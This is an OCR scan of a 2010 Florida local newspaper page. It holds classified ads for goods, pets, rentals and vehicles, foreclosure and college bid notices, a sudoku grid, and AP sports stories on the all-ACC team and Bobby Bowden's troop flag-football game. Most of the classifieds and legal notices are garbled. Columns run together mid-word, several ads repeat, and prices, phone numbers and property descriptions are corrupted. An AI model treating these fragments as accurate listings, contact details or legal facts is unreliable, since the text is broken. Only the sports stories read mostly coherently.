ver Earrings.New, 3. r,:5 1. I.. 34-299-3739 00 S93-675 e @$29k 850- Bamboo Table w/4 22x16, old but work- tures, nick naxs. $59 (850)579-4476 ver Earrigs.New, Coker Spael 2589 McClain St. chairs & glass top ng $20 850-569-2194 $300. 850-899-8601 Playpen- Pack and Puppies! Will be C'dale $650/mo + $100 850-526-3426 Playpen-wiackMand Sadies FleaMarket dep 334-714- Gold Coin, Lots of realestate play blueplaid $40 Singer Sewing ach. Dec 4th CKC Reg. Pa 9553/334-714-8343 1/10th ounce $200. signs & heavy metal (850)482-3078 w/case Fancy stitch- rents on site. 4FM All Blue Druzy Ring- New Call 850-569-2194 frame $5. ea. 850- PS2 w/5 games/ es $45 850-526-3426 Buff,Tails docked. 3/1 Brick home, 8mi 925 Silver Size 8.25, 899s-8601 controllers/2 guitars Dew claws removed E of Malone, $575/mo One of a kind $39 Graco Baby Crib Aon& dru et. $150 850- Smoker0 cooker a & 1st shots. $250 + $500 dep. lyr lease (850)579-4476 w/pad & 4 sheets $45 Mahogany Desk, & 32 4 wy bee se$ 8 er covere,- 334-798-1578 850-569-5940 ,. Broyhill China Cabi- 850-272-8967 44x22, good cond. 352-2245 ways been covered, 3-798-17 85-5 94Broyhill China Cabi- 80 $100 OBO 850-48c 2- Rhodochrosite Pend good shape $50 850- S TAKE ME 3/2 brick /db ga, net w/matching buf- Graco Car Seat, gray 7093 ant 925 Sterling. One 482-3537 a K M rage, 2375 Westwood fet, all wood $375 color, $15 850-272- of a kind. New $39 O Dr. Alford, $795 + estwood HEADLAND'S BEST KEPT SECRET! 850-526-3365 8967 Martha Stewart (850)579-4476 Sony 90watt am & 2 dep & ref. 850r579.- ..' 699 CO RD 100 Canopy- Princess Chairs, 5 heavy metal 10" speakers, brand 4317/866-1965. HEADLAND castle for twin bed Graco Infant Car cushion patio chairs Romance/Fiction new in box $150 850- $341,500 $45 (850)482-3078 Seat, blue $10 850- $200 850-526-1414 Books:(28) Roberts, 352-2245 ,- 3BR/1.5 BA home, on 2005 J.:re Pr, or 624-3703 DeverauxSteel, Clark corner of Park & I IEu. 1 Craftsman Design* Approx 2920 sq. ft. Changing table- Matco Roll Around $10 850-592-8769 Speakers,Pair,Sansui Davis St.$650/mo + .99 5 BR, 3 Baths Built in 2009 6.1 Acres darkwood,3 tier,in Hih Chair Cozi Fit, tool box w/lift up top Roperwasher&dryer- 3-way flwood gr sys., rat-in dep 850- 482-2886 or Slate and tile Hardwood floors good shape. $30 height adj. 4 position and pull out drawer white, about 3 y ed 175,wood grain 09-48 o Granite counter tops Energy efficient 850)557-6644 recline $25 850-272- $100. 850-209-0137 white, abou t 3 years good finish, $75, 482-7933 e- r 209-1344. Honda 02 XR250R Formal DR 2 cart garage 2 stall barn China cabinet, maple 8967 McCulloch 28cc Gas o(850)557-6644 SS Pendant Earrings- each CKC registered on private property / 2 ,,rr, E.-i ,;.. 18 f T ceiling in lying area $150 (850)592-2881 Inflatable queen mat- String Trimmer, still Round table w/4 New Bi-Color carved Male, (334) 692-3662 $350mo + $300dep i :,i -_'I s1.1. Lennox Two Zone system Collection of dolls tress w/carry bag in box $120 850-569- chairs $25 850-624- Quartz New $49 doristhomley@gmail. Call 850-447-1533 o4 ,., 9t 9 w/stands, some need $40 850-482-3537 2194 3703 (850)579-4476 com RrEALTORS WELCOME! TLC, $1-$5 850-526- Leather Purse, looks Micro suede dark Senco Framing Nailer Terrarium for Snake U, /E Love Seat $40 cond. $20 850-482- good cond. $150 firm nails $175 850-693- & habitat $85 850- ,s o a850)592-2881 3853/272-4305 850-482-3537 9633 526-3426 Yorshire Terrier. Chipola Nursing Pavilion Wednesday, December 1, 2010 Have a Yorkie Christ and Retirement Center 0 mas. CKC registered yorkie puppies. One is accepting applications for the following . male, one female. 12 weeks old. Up to positions: C.N.A. FULL TIME 7-3 date on shots. Hap Tuesday's py, healthy, and full of If interested, Please apply in person at: WASABI SOLUTION pern4a)6-4i6 4294 3rd Ave., Marianna, FL or call ,. ........ melissaboatner@bell Angela Edenfield at 850-526-3191 ', _i .--- 9 2i 1417 I Sales Manager a 6 (K 3'8 4 5 9 o (49(24 0084597 experience.. THE SUDOKUI G9mE 9 j )51( 7 6 01@1 7 6 8 (D 3 2 9 8 9 5 4 2 7 5 7 9 8 (s; / :I 4 1@1 3 7 6 |( | 9 8 5 n ._ n j@ @ -@ BE SURE TO VISIT OUR L K NEWEST GAME SITE 2008 BLOCKDOT, INC. KEWLBOXCOM i a i i i i I I L Isl lol 6 B Wednesday, December 1, 2010 Jackson County Floridan IkLA S1I II )Jl Automobiles |1[ Automobiles MotorcyclesMotorcycles I tSport Utility Vehicles] Trailers-Tractors Wanted: Trucks-Heavy Duty L gaNotices LegalNotices for Sale for Sale Automobiles S'92 Goldwing, 60k Honda 1962 C102 2003 Nissan Pathfind 40 HP MASSEY FER-Ford 86 Bron 2 OF TH E W ertificato Lincoln 01 Towncar, miles, red, exc. paint suer cub 50, 4k er SE, 110,990 miles, GUSON TRACTOR W/ runs, good body, S I OF THE SW 14 OF Title Nos. ~ Signature series w/ & running condo. mii~Black & white, V6, 4 wheel drive, TURF TIRES. $4,500. 4W/D, new parts, 101,130 mi $6,000 $7000 850-445-2915 Good Cond., electric black leather interi- 334-678-6568 ebuit nge $2400 RANGE 13 WEST. GAFLX75B7361CD21; 850-579-4467 after leave message start speed, $2500. or, Bose 6 CD chang- John Deere W/OBO 334-794-5780 Firm Call noon (M-F) er, $10,900 call cab & air, good condo Ford 89 BroncoRuns at public sale, to the TOGETHER WTH all STAmerican Ironhorse 334-347-9002 thony (334)797-1342 new clutch, good WANTED grt, lifted, mud tires, highest and best bid-the improvements gttanw/beigein- 1500Km. exc cond.HONDA '98 Valkyrie '99 Ford Expedition paint and tires. B trade 85077- Nort h d o theonhe r C o tenor, leather heated $14,500 334-447-2131 Tourer all original, Eddie Bauer 4x4 blue $18,000 334-899-3914 Good Condition 9 89 774-9on out erty nd e - 1366 or 797-6925 $17.900 850-814-0155 TRX350FE3 Like new Honda '99 Shadow Chevy '01 Tahoe or 334-726-4661 WANTED Pre *82 and gas rights and Chevy'02 Camaro Lincoln ongression $2,499 1100 Arrow Lots of 155k m, 3rd row 6X12 losed trailed Toyota Corolla orSR 9/774-9186 JDATED ckson 15TH day profits, water igall eahts Conv.35thAnniv. Ed. ats, ABS, side o w5I34iles6.01 Ara Fuil W S seat, fully loaded., wX/1 endodrlr 5 hatchback or 89/90 ,,f !NJmber, 2010 and stock and al fix- Auto New top/New 5. n Anro mr urd, $5,900.646-620-9478 r back hn00 Ford Probe stick at 11:00 mtre s now or here- tisN Exc. Condition a.T p mustang (Dothan) ne d 8 sift850-272-423 OAny person claiming after attached to theCLAI0 $5 3-90a.r Ortenances, rents, roy- Newly Buil ATV646055454 3183' a3t- m0 rd r 22 u r on as oTR $n00s 334-699- $21,1753 sel.ori.--d Inl0 tome nh for co o 334-792-8058 doors in back 900 8171 t date of the is THE SURPLUS FROMil 1366or7PROPERTY OerWNE Chevy '02 Camaro l o $2,499 1100 Arrow Lots of 155k mi, 3rd row C oro 9 white/anaing after the sale. O N Co. 3h Anige. Ed. To a0 34,' 61S s eat, fully loaded X06 Cev2 en sed trailer y l $o aTEcoran e w1H dy w r t$200 down $200 oN. m ile sp mnul lulc. check. 334-687-0225 LS t.. .646-620-.8 eng. the AN erica n with FIE A C M $334-791-8243 'a minum wh-el. re- Kawasaki '09 Ninja FORD 03 Expedition n wr cond. 859indows or 1990, persons need- TER THE SALE. Chevy '08 l r. o n Bl, hel, Blazerd cLS'03 9228/643-8312 anK a seetin t ac.o-pr legJI aduI! ridden. 250.3k mi. Perfect EdIse bau-:r. lull i.:..:0, :,r, i3K mi. mg a special accom- Chevy'0 Imala verow93-22 lik e condition! Blue, lddr. gold, ir/power 4x4 Auto, Pr $3,750.34494-0460 modation to partici- In accordance with T 9LLea 9s0 3 asking $3000 seat, 187K miles 24,000 pound tcapaci- pate n this proceed- the AmE can with CR S G D! e Mazda'0 334-648-0195 $80003346899135 ty trailer. $4500.850 92GMCSonoma6 g should contact Disabilities Ac er- tsiresl L oa u th& GodWing 97 815SE 7wsk 29 Fordt04 Explorer WI405W1siNG MOWER 00 B 4-. S re 5k mi. nlt th v needn Ta pe I a- reeyst ,ad 70K mi Pearl white sic LT.2007 Under MUST SELL! BAT w or 1768/334-691-29FrieghtLinerFL0 8171 the date of the lis THE SURPLUS FROMmmod Transmission!d $233,9 500 334evert379ng6749 $7 500 2293219625 Warran time for cooler UN GRT Tr des IN G) $9,400. Sport Chasey 4-dr.okee e Rv rocengs. If ea- ticipaTe inthi 4 9I- i.50a50 2581638 '.1 -7 1 -- Air.El rdos to the proceeding. 0f e Ha 06 ortserXL Y 5 stiar d. $'-' ush 6ech Trailer 4-05 $3500 334-7685-3214 AS OF THE DATE O SMazda3 2085sp.4-dr. y0S 65nSil3eral.sadle FORDBs8Escape Tur ra c E o.: r s. on the 15th day of or Voice (V) 1-800- Ssilver, exc cond 1200C,3940m,2 i s m nd n Chevy Silver10 Z6 Au Kdo Blazer '85 fully re N ovember, 2010. 955-8770,ith LIS ENDENS MUSTFlorida $200 down $200 oi. rear spoil- seat scream h. check. 334-687-0225 .< K m. i. lner .r .ria2 c m rea yervi 334-791.8243e Hmmum heelrr.treet Kawasaki '09 Ninja FORD "03 Expedition n., prerE..jdows or 19%0, persons need- TER THE SALE. Chevy '081mpala Corvette er new tires $10995 gle pipes Wndition!dshield Blg. ept ,loaded, dhirroD backhoe Pro$1350. 334.r 494-0460, AC. 00to partici- In a gnccordan, 411 rear end, Relay ce with CD changer, rear Mazda '09 M5a08 $0 34228 3 334-648-0195 $8,000 334-689-9135 ty trailer. $4500. 850- '92 GMC Sonoma V-6 Ing should contact Disabilities Act, per- spoiler, New back Hardtop Conveible 334-701-7552 player, heated seat Cummings/Onan Call 334-691-2987 great For 1000K mi s ince re- GUTHRIE WITNESS my handbities Tops, 52K mi New Mercey Ldes '08 d, Bluetooth & Go350 Yamaha 'dng '97 1500SE Kawasak 2000 Cla6 R6 Ford '04 Explor,$16,295generator703hr 334-798-1768er stored. $12,900334. -798- 4 cy. 5 407- CLERK OF THE CIR- and the seal of this s70K mi. Pear Black, Tan Leather Raven Edition Track C 353 29 COUnT Court on special ac-11/8/10. remote start. rR L (7) days prior to the commodation to par- LiGaragekept$13 New Co500. mm$23,500 334-79-6749 $7,500.229-321-9625 Warranty ots Ext2012 RUNS GREAT! Trades (FINISHING) $9,400. to tow behind RV. : s Tmm Ble DALE RABON GU OBO2053CC Low mi. Considered. $ 6,950 334-678-6568 Che334-596-2376 '91 Cherokee $3,99rcedes scheduled softail Fwd ctrls exc .43.5 334-790-7959, ea.. TAMMY BAILEY THRIE S-'ans4 main. One of a kind. cond 4500 mil C8il fIr d0Ea2l1 - 4.p 3Stip np-ir De dppuly Cler s Clerk of the Circuit o317251 334.97-7754 blk/chrome intake kit p rui. ;r- ICoCut.ou a 3S4-47-023slip on exhaust lug- Yamaha *0r V-Suar a i'ic o:.r J .bi i|..Ch.3 S l 98Frgdoc LFl( )t15164Ct Cou r Mercedes 3 50SL gage rack etc. a must 1100, 0 m, n 00. ilve rdo miNew D) or (800) 955- agency sending this ser9~~ee$13,999osbo reartire, and extras, FORD '99 Epr.aBrr, aDrng g wdes, alternator 4S0 v INTHEoCIRCUIT Deputy Claertkl. Ch- 3rseatsfulOlylo-ade- dgmail.co 8a o 3sl tires 334-899-3914 40 30B0 or 6000V8, HD-spd CF-RTOFTHHE 0k/red nt.350 1153 Leave msg m 20.71/718 5069 B ter tires, $5,500 OBO FARM EQUIPMENT H 3347 au t ot r ida Rely Service. sevenT 352-219-7370 PWRS/B, windows, chromed out, $6500. Low miles! Like new! 1rake 850 T 4- wil sellf parts brlu $ k y C CINLCA i Chr-slerO0"Sebring ant. auto, AC, Call 334-691-3468 REDUCED $2,250.334- ask forBTom $800 334-689-9183o party $18,765. NO U20U1CA- Bids ill receed Cony top, runs/looks upgraded sound or 334-701-3855 693-5454&-Honda '03 Santafe -* Dodge .I 3i00 Dua 334-266-5248. JOHN L FISHEL, II until 3:00 p.m. CST great, loaded,140k st o ra Yamaha 2004 V-Star 1K m. buru Sell for n hd riday eemer , Call 334-596-5032 taied w/ records. *chrome, excellent $6,500. 334449-6071 NATIONAL ASSOCIA services Building v REDUCED c12.000. 34'0i, 2'4 condition eld.$4500 OBO e Wranl Ford Tractor 600 Au on Blaeer5thdahTI1ON, "A", Room 124, se33413011a t 346872bohtpAfNepinRsNovember,-2010h. 955-8770, via Florida Che 81'Corvette er, new tires $10,995 gle, pipes, Windshielga kept 05, 350 loaded, CD Ru l, re, C.2 ge, 411 rear end, A N A vidon Red, Auto, Mirrored -3463 334-701-7552 player, 1530 $35heatedseat mmn00 334-797-6925 -691-2987 or 1000K mi since re- LE Topurspe c 52K mi. New o pai. condition $2,000 Je $69 5 W e GANG W 0/DESEL MO-s 3-UI TMiIEA sNt F ECLR E SEC R A E L h ChTires, Cal02 PT e chr Gar Mercedes '08 E-3ag (334)7900976 veWm $3500am. 334-678- Dodge '04 Ram Red IN RO THE CMAV EISe O LACE Cruiser L& Shied ck Black,kpt. 12K mi.Leather4.500 an 788 alloy wheels, alterrin 4 6568Hem truck w/114 FOURTEENTH33-39 Ed n, Ldd 3347928701 maicomtires, new d player, GOLF TRI-KING 1900 JUDICAL CIRCUIT Defendants Bids will be accepted Garage kept $13,500.R ent. Imma Lote of E r Sownet. Sunde roof, Haower OBO 334-449-3713 3 7C7edy t-3 o 'G- r John Deer 05' 48 HP, Svcd by dealer. NOTICE IS HEREBY WORKFORCE DEVEL- Mercedes scheduled sof ai d ctrls ex Scooters/Moped Gra full wh. drive, front $100 e. Case No: 08-872-CA GIVEN pursuant t a OPMENT BUILDING OBO 334-7 21 \T T3i end loader, bushhog, (80)9603922 Summary Final Judg-3 Mrcr 70 -Grand 1 C. GREAT! rd 250 finish mower, disk, Dodge 05 Dakota SAXON MORTGAGE ment of Foreclosure All materials, serv- $31Mercury'05 Grand 4 b h intake kit spredder & box blade qua-cab, SLT, 34k SERVICES, INC. dated November ices and labor shall Chrysler '07 PT Marquis LS, white, rack etc. a must 1100, ,60 n$18,200BO 798-3352 i, cylinder, full 2010, and entered in be according to spec- Cruiser, Loaded, 48K leather seats, wood l- s $ .'. r Laiies han iO tr<00 power, Exc $13,800. Plaintiff, Case No. 32-2010-CA- ifications prepared miles, Automatic, dash trim, 170,780 334)618-3118sking payoff of 3 seats, fully loaded, tires 334-899-314 334-449-1864 000052 of the Circuit by Chipola College, LIKE NEW! $8,500. m11$6,500. Call eave msg 2071/718,5069 after tires, $5,500 OBO FARM EQUIPMENT IHe t vs. Court for JACKSON 3094 Indian Cicle, (334) 790-7959 Polyengineerings Inc. Harley Davidson08 G4p S -t 334-845-0519 1440 Combine. weB $Dakona County, Florida, I will Marianna, FL 32446. ew pt s 334-793-4700i ext.134 Ultra Classic Scre y sO eads $10,000. CAT CHEVY '96 2-10 Pick- options. DELK se,100. ad FLOR the hIDA IN ANDecifiatioFnsO are on Chrysler '07 PT $ in. Eaole 1 r Good cond. $550 GMC '00 Jimmy, Dozer D & ro ot up, 2.2 letter, 4 cly., ons. 64K mi. nada JACKSON COUNTY INVITATION To in- Cruiser Low Mileage, Mustang '68 good 1 lk mile, 250 Burgundeet g reat cond., $4200 ra l- Ellis 714-0028 KERR DELK; UN. cash on the 9th day section by contact- Sant. autoAC, Cal 334-68591-3468 REDUCED $2,250. 334- wd, ully loaded KNOWN SPOUSE OF of Deceber, 2010, at ng Dennis F Everett, Ca Rn$Eisp 0.r 4-334 d arleyDavidson1986 5 5 les. 5200. SANM DELK 00AL ChipolaCollege,850- Chrysler 07Sebring 205Lites. exc. or 334-701-3855 693-5454 00. a u LA6 (cabfire)3100 Dodge ING INCLUDING ANY the north door of chipola.edu.548. door, pwr Priced to Sell $5950. OBO 334-794-2665 or NCEC AR hrs original tires UNKNOWN SPOUSE JOHN L FISHEL, Count windows, tilt, cruise Call 850-210-4166 334-805-0810UST S1100 Classic. Black & good cond. new LL! engine, fuel OF SAID Courthouse, Maran- Bddng document control AM/FM/CD. Nissan 07 350Z Harley Davidson 1992 CliS Su-2lur416 tanks ok. REDUCED DODGE'99 2500 RAM DEFENDANT(S), IF na, Florida, the fol- may be submitted $2Call 334-596-5032 o. Call Steve ne d. 2500 mid 50's K/KH exc UM e, 250 cc. Seats excellent $6 500. 334-449-607 b l DECEASED, THE RE roertyas set forth or in person, accord- ather334-7918243 cond.$5,500.BO 2,2hementsLg To SPECTIVE UNKNOWN n said Summary F ing to bid specific Corvette '68 All $20,000 334-701-5380 794-2665 334-805- Scooter. 80mi per .Ba. r- A-*, Egq. 170K. $'' 0B HEIRS, DEVISEES, nal Judgment., tions. original, Matching ldsmobile 04 Alero 334-618-7r 200 080. Wrangler, ASSIGNEES, CREDLot 16 in Block 14, in hipola College re- numbers, Classic, low mil-s. very nice. .." Call 334445 6302 Nissan 05 Pathfinder *- '-* Ford '014X4 V-10 ITORS, LIENORS, AND the TOWN OF serves the right to Collectors Item. qen. new tres 4 tops, AC,u. Ir to, Nes Rnds P TRUSTEES, AND ALL ALFORD, FLORIDA, as waive informalities in Call 850-210-4166 $ 300. 334.726-1215 S,,r Ul;lir Vehicles UST.rS EL! G alenlie 71K Mi; OTHER PERSONS per the plat of said any bid, and to reject Yamaha 2005,350 loadMUST SELL! Gr22K m 750il0 22922- CLAIMING BY, Town now on file n any or l bids, or to Harley Davidson'0 2 GMC Sin 4W heeler, $17,000 058 Fru$3500n i334-797-6925 AGAINST THE NAMED Clerk of the Circuit any combination of .c. nd ss. rBlack 1500 SLE 20 ong 1 se bottom plow & DEFENDANT(S); UN- Court, Jackson Coun- alternates or sepa- l a Musrpl e! t he condition$2,900 0 y 02 n 1BID OPENING TIMsetCovington KNOWN TENANT #1; tyFlorida; rate bid prices that, hser'02 PT 0.ich om a $8000.334-791 499 mi -4.000. rll er LTWD Excr. Cond planters $3ELMO 797- UNKNOWN TENANT in their judgment, C3r3 y1ta 04 Sinar H r me0 SG ent. 34 $115, 0B3 -796- 6925 or 334-699-1366 Be #2; TO nHER WITH th wi e to thVe bestin Corvette;, 81. Loaded 334hampne color 2.8 miles, NEW01 mail.com alloy wheels, terrine 6568 4dr Hemitruck w/114 FOURTEENTH2 terest of Chipola Col- Automatic 350 fully loaded,91k road tested only, 648-TRI-KINGa 9ui 0 JUDICIAL CIRCUITD. Fleetwood Mobile lege. accepted (Silver) sell as is miles lu qage rack. $5.200. 229-334-8520 Toyota '05 4Runner 6rts HarEEL or Dtrtomatic. _ __OF THE STATE OF for: -.7W5epea4ri$75,8 factory sound, red/ JACKSON COUNTY FORECLOSURE SALE INSIDE DATA/VOICE int.Sun roof, power OBO 334-449- 71d3 334-477-315 334-792-1994 al 334-792-8018 E EW 1 CIVIL DIVISION CABLING FORLE Corvette 88'Stingray h. T-ais 4WD. unr rlc0r u Vans FORD'02 LARIAT Notice is hereby giv- changer.onvertible 108K i. a $11,545 Scooters/Moped Jeep '95 Grand full wh. drive, front JL F250 Diesel, Crew en that, pursuant toGIVEN pursuant to a OPMENT BUILDING Cher $lu 4 Fr Win RUNS end loader, bushhog, (850)960-39223K miles a Final Sumry - $9,800.334-791-3081 BGP Dac8up cm5ra d a 6 2V33 htnutcl- $16T000 334-687-9983 Judg meant of Forec t- of F Fialoug Corvette 94'85Kmi. L found t rea Va n LX, Chestnut col sure entered in the el materials, serv- 6 2or3 Mercury -05 Grand1.0 Ii4.0 i "o n 0. .0 s redderr, boxblade -cabSk LT,34k SERVICES, INC. dated November 8, ces and labor shall Cruiser '01 PT ToyMtar '96 Camry LE i.21 4166 mp3CD. O Volvo 0 SV 33 8-0576 21,son County, Flor- LASSIFIEDS...ing to spec- Leater, Loaded, 48K leather seats, wood rad pcae al n s id ower, Exc $13,800. Plaintiff, Case No. 32-2010-CA- ifications prepared CaLIKE NEW$850-210-4166 Call 500046 sage42B M6040 Kubota Tran BO 334-449-1864ran COMMENCE AT THEo r Cia Cle, LoChrysler07 PT 334-793-4700 ext. 134 Ultra 79020lassic Scream d. 5 1 W. ull Hy CAB.4x4 $200 down SUSAN DELK sell to the highest Specifications ar WEEK FORD 03 Mustang Toyota Marix'061- u 2054.000: ior 334 Frd'05 Exp ti Call Ron FAITH AVENUE AN d best bidder for file and open to in- GT96000 miles, CD owner 34K i. red. Tr rTrac peens aiava1496 Eddie Buerall op- MILL CREEK ROAD,sh on the 9th day section by contact- leather, PL, PW $8500 dealer maintained. HONDA 07 C 600. 334-796-6613 bamboo pearl color, 334- new tires, good THENCE RUN SOUTH-791-9107 36330(334)494-6480 $12,00.33403-3397 ed4.00miles CHRYLER06Town 1 owner EASTERLY, ALONG f December, 2010, at nDennisF:Everett, 363034)9-6480- iSetCih lowered, 2 'O4 CATAPILLARTH L.:.urtr Varn. E.c. i14,5111. OBO 104K THE EAST SIDE OF JUST A CLICK AWAY. Ford '05 Crown Vic, -.... L- 4 brother exhaust. 'earn 350 B. 36FT. TELE ,:.d. 5i1Keats 7, Hwy. mi. MILL CREEK ROAD exc. mech. cond., lite : $6,200 334 355 045 SCOPE 702 r 8.500. SUSAN M. DELK 11:00 am. a A C power $9500 343la College, 841 168 FEET THENCE oblue, 139k m, $6750 34 3in ull9 $45 0 333 OBO-., 334-688-5154 xw RUN EASST 87 FEET, Visit us at: S405-615- Nissan'05 Altima FLTC W/side car. UN 1099/850-573-3426 c.cond. 15CLUBCARGULF otaoader120hp KERR NORTHWESERTLY (EASTERN), at e v e r e t t d @ a Volkswagon '06Jetta Sf 08 Tahoe LT.29K c O&BABrER IES $500 334-596-9273 f' LESS TO A POINT 117 -- TDI. Gr- f gray Miles. Grld Color. Er- 11,750. EA 678Ebta 1. FEET EAST OF THE nr.desel, sunro. elent Cndiin re) 3100 IT OF BEGNCLUDINNING ANY the north door f chipola.eu. doorheatpwr. Priced to Se, alum Honda '$5 Shadow ,9500,00. -322 16 FINISHING MOW GMC 95, Conversion FORDtires UNKN07 Explorer ON FAITH AVENUE, Jackson County S wheels. at. radio 40 i 750Exc. cond. Low Ford '95 Explorer ER $600. 334-,7 6b t6c Van, new A/C, runs Sport Trac, Limited, THENCE RUN WEST 3)46 8-- 62i313 mi.5-yr srvc plan EXTRA CLEAN! '91 16x56 Trailer SO grt, $2500 S & M Au- V-8, Fully Loaded, 117 FEET TO THE For 06 F250 diesel- 334 685-6233 incl. $5K OBO NEW TIRES! $2,950 breeze exc. cond. to Sales 850-774- 56K Miles, Blue POINT OF BEGIN- king ranch lariett, Call 850-210-4166 334701 2329 Call 850-210 4166 5000.334618570 9189'850774916 20.500.3346874686 NING. BEING A PART lre her / seat, 4 con d. askingage. 1959 2205,Mercedes . $31,900.obo. REian50re o USE r0DODGE'99.2500 RAM IF na, Florida, the fo $250 mo. Call Steve T334-393-0343 an 6-speed. 25,500 mid 50's K/KH exc. U.M 08 2cc.Seatsorr. Beu Oe.DECEASED, THE RE- rope effort or in person, accord- srun ro3f, spo5ilr, like Cam Zo 2,. 2PC TE U W nc. ing n i a SummaryrFi ing to bid specifica- lnew 51K m. $7,900 1mie0. Whine cn$5i.0B ,2hmUhK - o794-2665 334-805- Scooter. 80mi perg HEIRS, DEVISEES, nal Jument. tons. 334-726-9500 inc nu ,ber e d- Etais red & tanlea th de, Collectors Item. es Collector Mercees 4X4 ron. I[hr Rdued Prce TRUSTEES, AND ALL ALFORD, FLORIDA, as waive informalities in speed mn4s.b.71K; OTHER PERSONS per the plat of said any bid.andto reject Con$14.50Hondaaed' Tractor 30 Massey HROUGH, UNDER OR the Office of the accept an bid and WhiteHarley Davidson 98' '02 GMC Sierra, white 6 808 0584 Frun 'k. AGAINST THE NAMED Clerk of the Circuit any combination ofK Mi. thr e,.c.seats. Exc. Cond. co ,d. orange. 1500 SLE 20r. long Jackson Cou- alternates or sepa- 80 3mi.4000.ll erLTDExc. Cond. set Covington KNOWN TENANT #1; ty, Florida; rate bid prices that, RUNSr G D$9 n,7- no mOin their judgment,5 Cl 2-4-160 Call 3 3Gold94ane'toer C all 334-792-8018 LIKE NEW! 15,800 mi. OF SALE iN convertible 108K Mi.Black.61k.vi Cond.hIitch.r r;li e uard.CJBL E-ae D H-OM Diesel, Crew en that, pursuant to GPS.ackup camera.ee 1999 Ford Windstar Cab, 123K milesaH. "Neat Edging 68rn iX t $16,000 334-687-9983 Judgment of Foreclo-N So Call Debra place of business FROZEN PIE CRUSTS. Full Coverage, THIS ONTHS SPECIAL D Truck Free by VARIETY OF CAKES A Beautiful Job *Metal Roofing lninty '10 G37 12 x 20 1 D Estimates VonSchder AND PIES. Every Time!" Interior/Exterior * Silver. Blac Lealr % FINANCNGAVAILABL Bulldozer 80-4- 7 e A cA Custonl 1iml Int. Premium pac- 32 Years in Business References LMX Dry Foam CALL RAY(85 (850) 209-9395 Lo all Man,,,riured age 0 M. '02 Custom made VW Mm Demolition Available Extraction (85 82206 Free Estimates Cond.$29,500 OBO power Trike all Debs Remoalll s e 4. s rvs oOver 30 Yrs. Exp. & I1s 912-655-8971 chromed eng Retention Ponds 850-526-2336 System. Flooring Sales & Ad Insured Licensed & Insured paincust job &wheels, Auto & Cycle GradingBuldozing No fus nstaHome Improllationvement Adult ridden, fire u t y Site Prep (Homeznmprovement(HmO S eng. red. 23K mi. new Services Leveli No muss MAPHIS tires, gar. kept, *Leveling NoPmIS cusom cover, am/fm TopSoil ,FilDirt l O o odor FLOORING, Inc HAPPY HOME HOME REPAIRS cu ,b, $22,000 OBO ver, aGravel 'Fl Dt O 'N 's 4 Installation REPAIR BY Jaguar '05 XJB L 239-410-4224L *a Lan Clering Ld Clearing, Inc. r..V .NSCHRiS ER services For: 25 Years Experience HOMEWORKS FREE ESTIMATES 4-door wack. Owners '02 Yamaha TTR 125L ALTHA, L ^ Carpet Wood Floor To Roof "Beautification NO JOBS TOO SMALL $25,985. 850-896-3774 exc. cond. $700. 334- Since 1960 ce 7ST62 50 02 Panhandle Carpet Tile Laminate Big Or Small Jobs of Your Home" -_P Lincoln '00 Town car 2008 Honda 750 A/C SERVICE Cleaning Vinyl WELCOME Carpentry/Painting m" l rad signature series, Shadow Spirit Motor- WE OFFER COMLETE P.O. Box 6198 Same Day Installations IlItIock loaded, 60/40 leather Low m$5000.00. les Like Marianna, FL 32447 FREE QUOTES Emergency Service General Repairs a M ons sa lt uter 500Call 334-899-4224 04A 1-800-768-9235 Call Chris f WilliamtH. Long, Jr. o 69K mi. mint cond. Dirt Bike 07' Honda 2900 Borden St. (850)573-7482 i *reK -In Shoe' never smoked in, CRF70 Excellent I I never wrecked Condition $925. (85074824594 i" oa"h "5ri.,ae.0o -..-188o J $15,250. 334-791-7330 334-798-2337 -r S SPORTS Jackson County Floridan Wednesday, December 1, 2010 7B Harris, Bowers headline 2010 all-ACC team BY THE ASSOCIATED PRESS GREENSBORO dur- ing efficien- cy defen- sive tackle and DeAndre McDaniel at safety. Bowers, Jenkins and McDaniel were the cornerstones of the ACC's stingi- est defense, allowing an average of 17.8 points. Maryland was represented by big-play threats Torrey Sin receiv- er selec- tions to the first team. Wake Forest was the only school with no players picked to the first or second teams. A Dec. 5, 2006 file photo shows then Florida State football coach Bobby Bowden during an interview in New York. Bowden will be among a group of football greats traveling to an undisclosed American military installation in the Persian,Gulf next month for a flag football game with soldiers. AP Photo/Kathy Willens/file Bobby Bowden to coach 'bowl' game for US soldiers BY TIM REYNOLDS AP SPORTs WRITER Bobby Bowden will coach one more game, on a road trip like none he's ever experienced, and where players on both sides of the field are on the same team. The former Florida State coach will be among a group of football greats traveling to an undisclosed American military instal- lation in the Persian Gulf next month for a flag football game with soldiers, called the Connect to Home Bowl. Bobby Bowden asked to go this year after following last season's inaugural event closely, and event organizers happily accepted. "It's very exciting ... because there could- n't be a better cause," the 81-year-old Bowden told The Associated Press. "My belief in our military and our men that are over there, what they're going through, that's what means as much as anything to me." Highlights from the game will be aired during halftime of the Fiesta Bowl on Jan. 1. The event is sponsored by Tostitos and the USO, and Bowden is just one of sever- al football stars making the trip. College Football Hall of Famer Gene Stallings will coach the other team, and for- mer players who are taking part on the trip include Jim Kelly, Rodney Peete, LaVar Arrington, Zach Thomas, Thurman Thomas, Andre Reed, Antonio Freeman, Ron Dayne and Jevon Kearse. The group will travel to the selected base for a few days in December. "You know, you kind of like to 'give back," Bowden said. "That's what we're doing." Officials from Tostitos came up with the idea last year when trying to tie bowl sea- 1 son into some sort of tribute to soldiers. The USO benefits from getting exposure during prime time of a Bowl Championship Series game. "For many of our troops serving over- seas, watching college football is a special "You know, you kind of like to give back. That's what we're doing:" -Bobby Bowden, Former FSU coach way to reconnect with home from the coin toss to the marching bands to seeing the action on the field," said Justin Lambeth, Frito-Lay's vice president of marketing. It's the second time a Bowden has been part of the event. Terry Bowden was one of the coaches selected to go to Iraq last season, and the commitment was made before Florida State was selected to play in the Gator Bowl - his father's final game with the Seminoles. The game in Iraq was the same day. Bobby Bowden insisted his son be in Iraq, and not change plans just to be there for his finale. "He told me it was a great experience,"." Bowden officially left Florida State with 377 wins, a figure that takes away 12 victo- ries the NCAA ordered vacated following an academic scandal that affected the eligi- bility of some players. Bowden also won 22 games at South Georgia College, a figure he counts on his own personal total. So by his math, including the vacated wins, he won 411 games in college football. "When I die, I'm putting on my tomb- stone 411," Bowden said. "They can't do a thing about it." He might get to say he won 412 in a few weeks, even if he has to fly halfway around the world first. "I never thought of that," Bowden said. SCOREBOARD COLLEGE BASKETBALL The Top Twenty Five The top 25 teams in The Associated Press' college basketball poll, with first place votes in parentheses, records through Nov. 28, total points based on 25 points for a first place vote through one point for a 25th place vote and last week's ranking: W-L Pts Pvs 9 